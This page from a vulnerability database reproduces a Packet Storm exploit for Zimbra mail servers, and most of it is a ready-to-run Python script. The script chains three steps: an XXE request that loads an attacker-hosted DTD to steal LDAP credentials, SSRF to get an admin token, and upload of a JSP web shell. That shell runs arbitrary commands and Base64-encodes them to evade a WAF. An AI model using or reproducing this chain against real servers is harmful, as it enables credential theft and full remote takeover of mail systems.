Lucene search
K

Zimbra XML Injection / Server-Side Request Forgery

🗓️ 05 Jun 2019 00:00:00Reported by k8gegeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 460 Views

Zimbra XML Injection / Server-Side Request Forgery, File Uploa

Related
Code
`#coding=utf8  
import requests  
import sys  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
base_url=sys.argv[1]  
base_url=base_url.rstrip("/")  
#upload file name and content  
#modify by k8gege  
#Connect "shell.jsp" using K8fly CmdShell  
#Because the CMD parameter is encrypted using Base64(bypass WAF)  
filename = "shell.jsp"  
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'  
print(base_url)  
#dtd file url  
dtd_url="https://k8gege.github.io/zimbra.dtd"  
"""  
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">  
<!ENTITY % start "<![CDATA[">  
<!ENTITY % end "]]>">  
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">  
"""  
xxe_data = r"""<!DOCTYPE Autodiscover [  
<!ENTITY % dtd SYSTEM "{dtd}">  
%dtd;  
%all;  
]>  
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">  
<Request>  
<EMailAddress>aaaaa</EMailAddress>  
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>  
</Request>  
</Autodiscover>""".format(dtd=dtd_url)  
  
#XXE stage  
headers = {  
"Content-Type":"application/xml"  
}  
print("[*] Get User Name/Password By XXE ")  
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)  
#print r.text  
if 'response schema not available' not in r.text:  
print("have no xxe")  
exit()  
  
#low_token Stage  
import re  
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")  
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")  
username = pattern_name.findall(r.text)[0][2]  
password = pattern_password.findall(r.text)[0][2]  
print(username)  
print(password)  
  
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">  
<soap:Header>  
<context xmlns="urn:zimbra">  
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>  
</context>  
</soap:Header>  
<soap:Body>  
<AuthRequest xmlns="{xmlns}">  
<account by="adminName">{username}</account>  
<password>{password}</password>  
</AuthRequest>  
</soap:Body>  
</soap:Envelope>  
"""  
print("[*] Get Low Privilege Auth Token")  
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)  
  
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")  
  
low_priv_token = pattern_auth_token.findall(r.text)[0]  
  
#print(low_priv_token)  
  
# SSRF+Get Admin_Token Stage  
  
headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"  
headers["Host"]="foo:7071"  
print("[*] Get Admin Auth Token By SSRF")  
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)  
  
admin_token =pattern_auth_token.findall(r.text)[0]  
#print("ADMIN_TOKEN:"+admin_token)  
  
f = {  
'filename1':(None,"whocare",None),  
'clientFile':(filename,fileContent,"text/plain"),  
'requestId':(None,"12",None),  
}  
  
headers ={  
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"  
}  
print("[*] Uploading file")  
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)  
#print(r.text)  
print("Shell: "+base_url+"/downloads/"+filename)  
#print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)")  
print("[*] Request Result:")  
s = requests.session()  
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)  
#print(r.text)  
print("May need cookie:")  
print(headers['Cookie'])  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2019 00:00Current
0.9Low risk
Vulners AI Score0.9
EPSS0.94113
460